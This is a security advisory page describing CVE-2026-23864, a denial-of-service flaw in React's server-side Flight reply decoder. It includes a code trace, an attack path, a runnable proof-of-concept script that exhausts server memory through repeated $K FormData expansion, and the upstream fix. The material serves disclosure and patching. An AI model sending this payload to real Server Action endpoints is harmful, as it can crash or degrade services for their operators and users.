Skip to content
winfunc
Disclosure record · React

RSC reply decoder DoS via $K FormData amplification (CVE-2026-23864)

Unbounded $K expansions allow FormData amplification during RSC reply decoding

ReactCVE-2026-23864DisclosedSource record

Severity rating

High
High

No numeric base score was published with this disclosure.

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Record

Project
React
Severity
High
CVE
CVE-2026-23864
Disclosed
Trace
4 steps

Summary

Source

parseModelString ($K case)

packages/react-server/src/ReactFlightReplyServer.js:1354

Sink

FormData reconstruction loop

packages/react-server/src/ReactFlightReplyServer.js:1364

The server-side React Flight reply decoder treats $K<id> tokens as nested FormData and reconstructs them by scanning the backing request form and copying entries into a new FormData. Because the decoder performs a full scan and allocation for every $K occurrence with no global limits, an attacker can embed thousands of $K tokens in a small multipart payload and force the server to allocate tens of MB of heap while decoding. This creates a high-amplification DoS that is remotely reachable via Server Actions in frameworks that call decodeReplyFromBusboy.


Write-up

decodeReply and decodeReplyFromBusboy materialize a response with _formData as the backing store, then parse chunk 0 through initializeModelChunk and reviveModel. Every string value flows into parseModelString, where $K<id> is interpreted as a nested FormData.

The $K handler builds a new FormData and performs a full scan of _formData to copy all matching prefixed entries. There is no validation of the id, no memoization, and no global limits on $K occurrences or copied entries.

As a result, a small multipart payload can include a large array of $K tokens and force repeated scans and allocations (CPU O(M * E), memory O(M * N)), amplifying a sub-megabyte request into tens or hundreds of MB of heap usage. This is remotely reachable via Server Actions in frameworks that call decodeReplyFromBusboy, making it a practical high-amplification DoS.

Severity

Attack vectorAV
Network
Attack complexityAC
Low
Privileges requiredPR
None
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
None
IntegrityI
None
AvailabilityA
High

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledpackages/react-server/src/ReactFlightReplyServer.js:1354

    parseModelString ($K case)

  2. Step 01packages/react-server/src/ReactFlightReplyServer.js:1348-1369

    parseModelString sees $K<id> and constructs a new FormData, then scans the entire backing request form for keys with the matching prefix.

    javascript
    const formPrefix = response._prefix + obj + '_';
    const data = new FormData();
    backingFormData.forEach((entry, entryKey) => {
      if (entryKey.startsWith(formPrefix)) {
        data.append(entryKey.slice(formPrefix.length), entry);
      }
    });
    
  3. Step 02packages/react-server/src/ReactFlightReplyServer.js:1354-1370

    Each $K token triggers a full scan and a new FormData allocation, with no cap on occurrences or copied entries.

    javascript
    return data; // New FormData per $K token
    
  4. Step 03packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js:554-579

    decodeReplyFromBusboy populates the response by resolving multipart fields, making the $K path reachable from HTTP Server Action requests.

    javascript
    busboyStream.on('field', (name, value) => {
      if (pendingFiles > 0) {
        queuedFields.push(name, value);
      } else {
        resolveField(response, name, value);
      }
    });
    
  5. Step 04packages/react-server/src/ReactFlightReplyServer.js:1485-1502

    resolveField appends every incoming field into _formData, enabling an attacker to control the number and size of entries that are copied per $K token.

    javascript
    response._formData.append(key, value);
    
  6. Sinkpackages/react-server/src/ReactFlightReplyServer.js:1364

    FormData reconstruction loop

Impact

Reported impact

A small (<1 MB) request can force tens to hundreds of MB of allocations while decoding, resulting in memory exhaustion or severe CPU pressure. Repeated requests can crash the server or degrade service availability.

Attack surface

Any server that decodes untrusted React Flight reply payloads, including frameworks that use Server Actions / Server Functions with multipart bodies (e.g., Next.js).

Preconditions

Attacker can send a crafted multipart request to a Server Action endpoint. No authentication is required if the endpoint is publicly reachable.

Attack path

  1. 1

    Send a multipart body whose root chunk (0) contains a large array of $K<id> tokens.

  2. 2

    Populate the backing form with many x_* fields so each $K triggers a large copy.

  3. 3

    Decoder allocates thousands of new FormData objects and copies entries per token.

  4. 4

    Server heap usage spikes and the process can OOM or stall under load.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Create a local repro:

    bash
    mkdir rsc-k-dos-repro
    cd rsc-k-dos-repro
    npm init -y
    npm install react-server-dom-webpack@19.2.3
    
  2. 02

    Target configuration

    Save the following as repro.cjs:

    js
    const { decodeReply } = require('react-server-dom-webpack/server.node');
    
    const N = 200; // number of x_* fields
    const M = 5000; // number of $K expansions
    
    const form = new FormData();
    for (let i = 0; i < N; i++) form.append(`x_${i}`, 'A');
    
    const inner = Array.from({ length: M }, () => '"$Kx"').join(',');
    form.append('0', `[${inner}]`);
    
    const heap0 = process.memoryUsage().heapUsed;
    const start = Date.now();
    
    (async () => {
      const root = await decodeReply(form, {}, {});
      const ms = Date.now() - start;
      const heap1 = process.memoryUsage().heapUsed;
      console.log('decoded in', ms, 'ms');
      console.log('heap delta MB', ((heap1 - heap0) / (1024*1024)).toFixed(1));
      console.log('root len', root.length);
    })();
    
  3. 03

    Exploit delivery

    Run the PoC:

    bash
    node --conditions=react-server repro.cjs
    
  4. 04

    Expected response

    text
    decoded in <time> ms
    heap delta MB <tens of MB>
    root len 5000
    
  5. 05

    Outcome

    The decoder allocates thousands of new FormData objects and copies entries on each $K, producing large heap growth from a small input.

Remediation

Guidance

Consume FormData entries on first $K expansion and prevent re-expansion of the same keys. The fix in React 19.2.4 deletes consumed keys and reconstructs values using getAll with a cloned key list to avoid repeated amplification.

Before and after−5+12
backingFormData.forEach((entry, entryKey) => {  if (entryKey.startsWith(formPrefix)) {    data.append(entryKey.slice(formPrefix.length), entry);  }});const keys = Array.from(backingFormData.keys());for (let i = 0; i < keys.length; i++) {  const entryKey = keys[i];  if (entryKey.startsWith(formPrefix)) {    const entries = backingFormData.getAll(entryKey);    const newKey = entryKey.slice(formPrefix.length);    for (let j = 0; j < entries.length; j++) {      data.append(newKey, entries[j]);    }    backingFormData.delete(entryKey);  }}
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.